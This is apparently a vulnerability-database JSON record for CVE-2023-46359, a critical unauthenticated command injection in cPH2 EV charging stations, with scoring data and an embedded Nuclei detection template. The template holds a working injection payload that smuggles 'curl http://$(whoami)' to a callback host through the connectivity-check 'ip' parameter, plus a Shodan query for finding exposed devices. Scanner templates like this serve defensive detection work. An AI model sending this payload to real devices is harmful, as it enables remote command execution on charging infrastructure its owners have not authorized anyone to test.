{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-46359/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-46359/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-46359/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-46359/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-46359/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-46359/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2023-46359"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2023-46359"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.87608,"kev":false,"percentile":0.99759},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-46359.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-46359\n\ninfo:\n  name: cPH2 Charging Station v1.87.0 - OS Command Injection\n  author: mlec\n  severity: critical\n  description: |\n    An OS command injection vulnerability in Hardy Barth cPH2 Ladestation v1.87.0 and earlier, may allow an unauthenticated remote attacker to execute arbitrary commands on the system via a specifically crafted arguments passed to the connectivity check feature.\n  impact: |\n    Unauthenticated attackers can exploit OS command injection through the connectivity check feature to execute arbitrary system commands and completely compromise cPH2 charging station installations.\n  remediation: Fixed in version 2.0.0\n  reference:\n    - https://www.offensity.com/en/blog/os-command-injection-in-cph2-charging-station-200-cve-2023-46359-and-cve-2023-46360/\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-46359\n    - http://hardy.com\n    - https://github.com/d4n-sec/d4n-sec.github.io\n    - https://github.com/fkie-cad/nvd-json-data-feeds\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-46359\n    cwe-id: CWE-78\n    epss-score: 0.87608\n    epss-percentile: 0.9976\n    cpe: cpe:2.3:h:hardy-barth:cph2_echarge:-:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: hardy-barth\n    product: cph2_echarge\n    shodan-query: html:\"Salia PLCC\"\n  tags: cve2023,cve,salia-plcc,cph2,rce,hardy-barth,vuln,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/connectioncheck.php?ip={{url_encode('127.0.0.1 && curl http://$(whoami).{{interactsh-url}}')}}\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"<b>SUCCESS</b>\"\n          - \"127.0.0.1 && curl http://$(whoami).{{interactsh-url}}\"\n        condition: and\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n# digest: 4a0a00473045022100d59acf721ac7c6ec80bd050d4dd63faec82ad70bd6d6bba164cc33cd3b6985d702207db968152a014af5c17c238f8f9e1587bc9152aec3cf1eb17c92960f7a17e4c6:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-46359"}